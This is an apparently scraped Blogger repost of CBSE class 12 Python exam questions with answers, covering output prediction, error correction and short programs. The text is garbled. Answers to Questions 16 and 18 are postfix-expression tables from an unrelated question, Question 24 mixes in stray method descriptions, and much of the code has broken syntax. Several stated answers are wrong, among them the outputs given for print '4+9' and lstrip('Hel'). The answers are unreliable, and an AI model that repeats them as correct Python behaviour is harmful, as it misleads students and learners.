class person: def init (self,id): self.id = id arjun = person(150) arjun. diet [‘age’] = 50 print arjun.age + len(arjun. diet )
Justify your answer.Answer:52arjun.age = 50arjun.dict has 2 attributes so length of it is 2. So total = 52.
Question 6.What would be the output of the following code snippets?print 4+9print “4+9”Answer:13 (addition), 49 (concatenation).
Question 7.Highlight the literals in the following programand also predict the output. Mention the types ofvariables in the program.
a=3 b='1' c=a-2 d=a-c e=“Kathy” f=‘went to party.’ g=‘with Sathy’ print a,g,e,f,a,g,“,”,d,g,“,”,c,g,“and his”,e,f
Answer:a, c,d = integerb, e,f,g = stringOutput: 3 with Sathy Kathy, went to party. 3 with Sathy, 2 with Sathy , 1 with Sathy and his Kathy, went to party.
Question 8.What is the result of 4+4/2+2?Answer:4 + (4/2) + 2 = 8.
Question 9.Write the output from the following code: [CBSE Text Book]
x= 10 y = 20 if (x>y): print x+y else: print x-y
Answer:– 10
Question 10.Write the output of the following code:print “Python is an \n interpreted \t Language”Answer:Python is an interpreted Language
Question 11.Write the output from the following code:
s = 0 for I in range(10,2,-2): s+=I print “sum= ",s
Answer:sum= 28
Question 12.Write the output from the following code: [CBSE TextBook]
n = 50 i = 5 s = 0 while i<n: s+ = i i+ = 10 print “i=”,i print “sum=”,s
Answer:
i= 15 i= 25 i= 35 i= 45 i= 55 sum= 125
Question 13.Write the output from the following code: [CBSE TextBook]
n = 50 i = 5 s = 0 while i<n: s+ = i i+ = 10 print “i=”,i print “sum=”,s
Answer:
i= 15 i= 25 i= 35 i= 45 i= 55 sum= 125
Question 14.Observe the following program and answer the question that follows:import randomx = 3N = random, randint (1, x)for 1 in range (N):print 1, ‘#’, 1 + 1a. What is the minimum and maximum number of times the loop will execute?b. Find out, which line of output(s) out of (i) to (iv) will not be expected from the program?i. 0#1ii. 1#2iii. 2#3iv. 3#4Answer:a. Minimum Number = 1Maximum number = 3b. Line iv is not expected to be a part of the output.
Question 15.Observe the following Python code carefully and obtain the output, which will appear on the screen after execution of it. [CBSE SQP 2016]
def Findoutput (): L = "earn" X = " " count = 1 for i in L: if i in ['a', 'e',' i', 'o', 'u']: x = x + 1. Swapcase () else: if (count % 2 ! = 0): x = x + str (len (L[:count])) else: x = x + 1 count = count + 1 print x Findoutput ()
Answer:EA3n
Question 16.Find and write the output of the following Python code:
Number = [9,18,27,36] for N in Numbers: print (N, "#", end = " ") print ()
Answer:
ElementStack of operatorsPostfix Expression1#001#(1#)(1#)2#(1#)(1#2#)1#(2#)(1#2#3#)2#(1#)1#3#(2#)1#2#(3#)1#2#3#
Question 17.What are the possible outcome(s) executed from the following code? Also,specify the maximum and import random. [CBSE Delhi 2016]
PICK=random.randint (0,3) CITY= ["DELHI", "MUMBAI", "CHENNAI", "KOLKATA"]; for I in CITY : for J in range (1, PICK) print (I, end = " ") Print ()
(i)(ii)DELHIDELHIDELHIMUMBAIMUMBAIDELHIMUMBAICHENNAICHENNAIDELHIMUMBAICEHNNAIKOLKATAKOLKATA(iii)(iv)DELHIDELHIMUMBAIMUMBAIMUMBAICHENNAIKOLKATAKOLKATAKOLKATAKOLKATA
Answer:Option (i) and (iii) are possible option (i) onlyPICKER maxval = 3 minval = 0
Question 18.Find and write the output of the following Python code : [CBSE Outside Delhi-2016]
Values = [10,20,30,40] for val in Values: for I in range (1, Val%9): print (I," * ", end= " ") print ()
Answer:
ElementStack of operatorsPostfix Expression1*001*(1.*)(1*)2*0(1*2*)1*(1,*)(1*2*3*)2*(2.*)1*3*01*2*(1.*)1*2*3*(2,* )(3,* )
Question 19.Write the output from the following code:
y = 2000 if (y%4==0): print “Leap Year” else: print “Not leap year”
Answer:Leap Year.
Question 20.What does the following print?
for i in range (1,10): for j in'range (1,10): print i * j, print
Answer:1 2 3 4 5 6 7 8 92 4 6 8 10 12 14 16 183 6 9 12 15 18 21 24 274 8 12 16 20 24 28 32 365 10 15 20 25 30 35 40 456 12 18 24 30 36 42 48 547 14 21 28 35 42 49 56 638 16 24 32 40 48 56 64 729 18 27 36 45 54 63 72 81
Question 21.What will be the output of the following statement? Also, justify the answer.
>> print ‘Radhsa’s dress is pretty’.
Answer:SyntaxError: invalid syntax.The single quote needs to be replaced by V to get the expected output.
Question 22.Give the output of the following statements :
>>> str=‘Honesty is the best policy’ >>> str.replace(‘o’,‘*’)
Answer:‘H*nesty is the best p*licy’.
Question 23.Give the output of the following statements :
>> str=‘Hello Python’ >>> str.istitle()
Answer:True.
Question 24.Give the output of the following statements:
>> str=‘Hello Python’ >>> print str.lstrip(“Hel”)
Answer:Hello Python
Question 25.Write the output for the following codes:
A={10:1000,20:2000,30:3000,40:4000,50:5000} print A.items() print A.keys() print A.values()
Answer:[(40,4000), (10,1000), (20,2000), (50,5000), (30,3000)] [40,10, 20, 50, 30] [4000,1000, 2000, 5000, 3000]
Question 26.Write the output from the following code:
t=(10,20,30,40,50) print len(t)
Answer:5
Question 27.Write the output from the following code:
t=(‘a’,‘b’,‘c’,‘A’,‘B’) print max(t) print min(t)
Answer:‘c’A’
Question 28.Find the output from the following code:
T=(10,30,2,50,5,6,100,65) print max(T) print min(T)
Answer:1002
Question 29.Write the output from the following code:
T1=(10,20,30,40,50) T2 =(10,20,30,40,50) T3 =(100,200,300) cmp(T1, T2) cmp(T2,T3) cmp(T3,T1)
Answer:0-11
Question 30.Write the output from the following code:
T1=(10,20,30,40,50) T2=(100,200,300) T3=T1+T2 print T3
Answer:(10,20,30,40,50,100,200,300)
Question 31.Find the output from the following code:
t=tuple() t = t +(‘Python’,) print t print len(t) t1=(10,20,30) print len(t1)
Answer:(‘Python’,)13
Question 32.Rewrite the following code in Python after remo¬ving all syntax error(s).Underline each correction done in the code.
for student in [Jaya, Priya, Gagan] If Student [0] = ‘S’: print (student)
Answer:for studednt in values [“Jaya”, “Priya”, “Gagan”]:if student [0] = = “S”print (student)
Question 33.Find and write the output of the following Python code:
Values = [11, 22, 33, 44] for V in Values: for NV in range (1, V%10): print (NV, V)
Answer:1, 112,223,334, 44
Question 34.What are the possible outcome(s) executed from the following code? Also, specify the maximum and minimum values that can be assigned to variable SEL.
import random SEL=random. randint (0, 3) ANIMAL = [“DEER”, “Monkey”, “COW”, “Kangaroo”]; for A in ANIMAL: for AAin range (1, SEL): print (A, end =“”) print ()
(i)(ii)(iii)(iv)DEERDEERDEERDEERDEERMONKEYMONKEYDELHIMONKEYMONKEYMONKEYMONKEYCOWCOWDELHIMONKEYCOWCOWKANGAROOKANGAROOKANGAROOKANGAROOKANGAROOKANGAROO
Answer:Maximum value of SEL is 3.The possible output is belowDEERMonkey MonkeyKangaroo Kangaroo KangarooThus (iv) is the correct option.
TOPIC-3Random Functions
Question 1.What are the possible outcome(s) executed from the following code ? Also specify the maximum and minimum values that can be assigned to variable PICKER. [CBSE Outside Delhi-2016]
import random PICKER = random randint (0, 3) COLOR = ["BLUE", "PINK", "GREEN", "RED"]: for I in COLOR : for J in range (1, PICKER): Print (I, end = " ") Print ()
(i)(ii)(iii) (iv)BLUEBLUEPINKSLUEBLUEPINKBLUEPINKPINKGREENPINKPINKGREENBLUEPINKGREENGREENREDGREENGREENREDBLUEPINKGREENREDREDRED
Answer:Option (i) and (iv) are possibleORoption (i) onlyPICKER maxval = 3 minval = 0
Question 2.What are the possible outcome(s) expected from the following python code? Also specifymaximum and minimum value, which we can have. [CBSE SQP 2015]
def main(): p = ‘MY PROGRAM’ i = 0 while p[i] != ‘R’: l = random.randint(0,3) + 5 print p[l],’-’, i += 1
(i) R – P – O – R –(ii) P – O – R – Y –(iii) O -R – A – G –(iv) A- G – R – M –Answer:Minimum value=5Maximum value=8So the only possible values are O, G, R, AOnly option (iii) is possible.
TOPIC-4Correcting The Errors
Question 1.Rewrite the following Python code after removing all syntax error(s). Underline the corrections done.[CBSE SQP 2015]
def main(): r = raw-input(‘enter any radius : ’) a = pi * math.pow(r,2) print “ Area = ” + a
Answer:
def main (): r = raw_input(‘enter any radius : ’) a = pi * math.pow(r,2) print “ Area = ”, a
Question 2.Rectify the error (if any) in the given statements.
>> str=“Hello Python” >>> str[6]=‘S’
Answer:
str[6] = ‘S’ is incorrect ‘str’ object does not support item assignment. str.replace(str[6],‘S’).
Question 3.Find the errors from the following code:T=[a,b,c]print TAnswer:NameError: name ‘a’ is not defined .T=[‘a’,‘b’,‘c’]
Question 4.Find the errors from the following code:for i in 1 to 100:print IAnswer:for i in range (1,100):print i
Question 5.Find the errors from the following code:
i=10 ; while [i<=n]: print i i+=10
Answer:
i=10 n=100 while (i<=n): print i i+=10
Question 6.Find the errors from the following code:
if (a>b) print a: else if (a<b) print b: else print “both are equal”
Answer:
if (a>b) // missing colon print a: else if (a<b) // missing colon // should be elif print b: else // missing colon print “both are equal"
Question 7.Find errors from the following codes:
c=dict() n=input(Enter total number) i=1 while i<=n: a=raw_input(“enter place”) b=raw_input(“enter number”) c[a]=b i=i+1 print “place”,“\t”,“number” for i in c: print i,“\t”,c[a[i]]
Answer:
c=dict() n=input(‘‘Enter total number”) i=1 while i<=n : a=raw_input(“enter place”) b=raw_inputf enter number”) c[a]=b i=i+1 print “place”,“\t”,“number” for i in c: print i,“\t”,c[i]
Question 8.Observe the following class definition and answer the question that follows : [CBSE SQP 2016]
class info: ips=0 def _str_(self): #Function 1 return "Welcome to the Info Systems" def _init_(Self): self. _ Sstemdate= " " self. SystemTime = " " def getinput (self): self . Systemdate = raw_input ("enter data") self , SystemTime = raw_Input ("enter data") Info, incrips () Estaiomethod # Statement 1 def incrips (): Info, ips, "times" I = Info () I. getinput () Print I. SystemTime Print I. _Systemdate # Statement 2
i. Write statement to invoke Function 1.ii. On Executing the above code, Statement 2 is giving an error explain.Answer:i. print Iii. The statement 2 is giving an error because _ Systemdate is a private variable and hence cannot to be printed outside the class.
TOPIC – 5Short Programs
Question 1.Write a program to calculate the area of a rectangle. The program should get the length and breadth ;values from the user and print the area.Answer:
length = input(“Enter length”) breadth = input(“Enter breadth”) print “Area of rectangle =”,length*breadth
Question 2.Write a program to calculate the roots of a quadratic equation.Answer:
import math a = input(“Enter co-efficient of x^2”) b = input(“Enter co-efficient of x”) c = inputfEnter constant term”) d = b*b - 4*a*c if d == 0: print “Roots are real and equal” root1 = root2 = -b / (2*a) elif d > 0: print “Roots are real and distinct” root1 = (- b + math.sqrt(d)) / (2*a) root2 = (-b - math.sqrt(d)) / (2*a) else: print “Roots are imaginary” print “Roots of the quadratic equation are”,root1,“and”,root2
Question 3.Write a program to input any number and to print all the factors of that number.Answer:
n = inputfEnter the number") for i in range(2,n): if n%i == 0: print i,“is a factor of’.n
Question 4.Write a program to input ,.any number and to check whether given number is Armstrong or not.(Armstrong 1,153,etc. 13 =1, 13+53 +33 =153)Answer:
n = inputfEnter the number”) savedn = n sum=0 while n > 0: a = n%10 sum = sum + a*a*a n = n/10 if savedn == sum: print savedn,“is an Armstrong Number” else: print savedn,”is not an Armstrong Number”
Question 5.Write a program to find all the prime numbers up to a given numberAnswer:
n = input("Enter the number”) i = 2 flag = 0 while (i < n): if (n%i)==0: flag = 1 print n,“is composite” break i = i+ 1 if flag ==0 : print n,“is prime”
Question 6.Write a program to convert decimal number to binary.Answer:
i=1 s=0 dec = int ( raw_input(“Enter the decimal to be converted:”)) while dec>0: rem=dec%2 s=s + (i*rem) dec=dec/2 i=i*10 print “The binary of the given number is:”,s raw_input()
Question 7.Write a program to convert binary to decimalAnswer:
binary = raw_input(“Enter the binary string”) decimal=0 for i in range(len(str(binary))): power=len (str (binary)) - (i+1) decimal+=int(str(binary)[i])*(2**power) print decimal
Question 8.Write a program to input two complex numbers and to find sum of the given complex numbers.Answer:
areal = input("Enter real part of first complex number”) aimg = input("Enter imaginary part of first complex number”) breal = input("Enter real part of second complex number”) bimg = input("Enter imaginary part of second complex number”) totreal = areal + breal totimg = aimg + bimg print “Sum of the complex numbers=",totreal, “+i”, totimg
Question 9.Write a program to input two complex numbers and to implement multiplication of the given complex numbers.Answer:
a = input("Enter real part of first complex number”) b = input("Enter imaginary part of first complex number”) c = input("Enter real part of second complex number”) d = input("Enter imaginary part of second complex number”) real= a*c - b*d img= a*d + b*c print “Product of the complex numbers=",real, “+i”,img
Question 10.Write a program to find the sum of all digits of the given number.Answer:
n = inputfEnter the number”) rev=0 while (n>0): a=n%10 sum = sum + a n=n/10 print “Sum of digits=”,sum
Question 11.Write a program to find the reverse of a number.Answer:
n = input("Enter the number”) rev=0 while (n>0): a=n%10 rev=(rev*10)+a n=n/10 print “Reversed number=”,rev
Question 12.Write a program to print the pyramid.12 23 3 34 4 4 45 5 5 5 5Answer:
for i in range(1,6): for j in range(1,i+1): print i, print
Question 13.Write a program to input username and password and to check whether the given username and password are correct or not.Answer:
import string usemame= raw_input(“Enter username”) password = raw_input(“Enter password”) if cmp(username.strip(),“XXX”)== 0: if cmp(password,”123”) == 0: print “Login successful” else: print “Password Incorrect” else: print “Username Incorrect”
Question 14.Write a generator function generatesq () that displays the squareroots of numbers from 100 to nwhere n is passed as an argument.Answer:
import math def generatesq (n) : for i in range (100, n) : yield (math, sqrt (i))
Question 15.Write a method in Python to find and display the prime number between 2 to n.Pass n as argument to the method.Answer:
def prime (N) : for a in range (2, N): for I in range (2, a): if N%i ==0 : break print a OR def prime (N): for a in range (2, N): for I in range (2, a) : if a%1= = 0 : break else : print a
Question 16.Write a program to input username and password and to check whether the given username and password are correct or not.Answer:
import string usemame= raw_input(“Enter username”) password = raw_input(“Enter password”) if cmp(usemame.strip(),“XXX”)== 0: if cmp(password,”123”) == 0: print “Login successful” else: print “Password Incorrect” else: print “Username Incorrect”
Question 17.Which string method is used to implement the following: [CBSE Text Book]
To count the number of characters in the string.
To change the first character of the string in capital letter.
To check whether given character is letter or a number.
To change lowercase to uppercase letter.
Change one character into another character.
Answer:
len(str)
str.title() or str.capitalize()
str.isalpha and str.isdigit()
lower(str[i])
str.replace(char, newchar)
Question 18.Write a program to input any string and to find the number of words in the string.Answer:
str = “Honesty is the best policy” words = str.split() print len(words)
Question 19.Write a program to input n numbers and to insert any number in a particular position.Answer:
n=input(“Enter no. of values") num=[] for i in range (n): number=input(“Enter the number") num.append(number) newno = input(“Enter the number to be inserted”) pos = input(“Enter position”) num.insert(newno,pos) print num
Question 20.Write a program to input n numbers and to search any number from the list.Answer:
n=input(“Enter no. of values”) num=[] flag=0 for i in range (n): number=input(“Enter the number”) num. append(number) search = input(“Enter number to be searched") for i in range(n): if num[i]==search: print search,“found at position”,i flag=1 if flag==0: print search, “not found in list”
Question 21.Write a program to search input any customer name and display customer phone numberif the customer name is exist in the list.Answer:
def printlist(s): i=0 for i in range(len(s)): print i,s[i] i = 0 phonenumbers = [‘9840012345’,‘9840011111’,’ 9845622222’,‘9850012345’,‘9884412345’] flag=0 number = raw_input(“Enter the phone number to be searched") number = number.strip() try: i = phonenumbers.index(number) if i >= 0: flag=1 except ValueError: pass if(flag <>0): print “\nphone number found in Phonebook at index”, i else: print'\iphonenumbernotfoundin phonebook” print “\nPHONEBOOK” printlist(phonenumbers)
Question 22.Write a program to input n numbers and to reverse the set of numbers without using functions.Answer:
n=input(“Enter no. of values”) num=[] flag=0 for i in range (n): number=input(“Enter the number”) num. append(number) j=n-1 for i in range(n): if i<=n/2: num[i],num[j] = num[j],num[i] j=j-1 else: break print num
Question 23.Find and write the output of the following Python code: [CBSE Complementry-2016]
class Client: def init (self, ID = 1, NM=”Noname”) # constructor self.CID = ID self. Name = NM def Allocate (self, changelD, Title) : self.CID = self.CID + Changeld self.Name = Title + self. Name def Display (self) : print (self. CID). "#”, self. Name) C1 = Client () C2 = Client (102) C3 = Client (205, ‘’Fedrick”) C1 . Display () C2 . Display () C3 . Display () C2 . Allocate (4, "Ms.”) C3 .Allocate (2, "Mr.”) C1. Allocate (1, "Mrs.”) C1. Display () C2 . Display () C3 . Display ()
Answer:
CID Name — Fedrick 102 Mr. Fedrick 205 Mrs. Fedrick — Mr. & Mrs. Fedrick
Question 24.What will be the output of the following Python code considering the following set of inputs?
MAYA Your 5 Apples Mine2 412 Also, explain the try and except used in the code. Count = 0 while True : try: Number=int (raw input ("Input a Number :")) break Except valueError : Count=Count + 2 # For later versions of python, raw_input # Should be consider as input
mehtods:– DenCal () # Method to calcualte Density as People/Area– Add () # Method to allow user to enter values Dcode, DName, People, Area and Call DenCal () Mehtod– View () # Method to display all the data members also display a message “”High Population”if the Density is more than 8000.Answer:Output is below2 Re Enter Number10 Re Enter Number5 Input = Number3 Input = numberTry and except are used for handling exception in the Pythan code.
Question 25.Write a method in Python and display the prime numbers between 2 to N. Pass as argument to the methods.Answer:
def prime (N) : for a in range (2, N) Prime=1 for I in range (2, a): if a%i= = 0 : Prime = 0 if Prime = = 1: print a OR def prime (N) : for a in range (2, N): for I in range (2, a) : if a%i = = 0: break else : print a OR Any other correct code performing the same
Long Answer Type Questions (6 marks)
Question 1.Aastha wnats to create a program that accepts a string and display the characters in the reversein the same line using a Stack. She has created the following code, help her by completing thedefinitions on the basis of requirements given below:[CBSE SQP 2016]
Class mystack : def inin (self): selfe. mystr= # Accept a string self.mylist= # Convert mystr to a list # Write code to display while removing element from the stack. def display (self) : : :
Answer:
class mystack : def _init_ (self) : self.myster= rawjnput ("Enter the string”) self.mylist = list (self.mystr) def display (self) : x = len (self. mylist) if (x > 0) : for i in range (x) : print self.mylist.pop (), else : print "Stack is empty”
from Blogger http://www.margdarsan.com/2020/09/ncert-class-12-computer-science-chapter_22.html
0 notes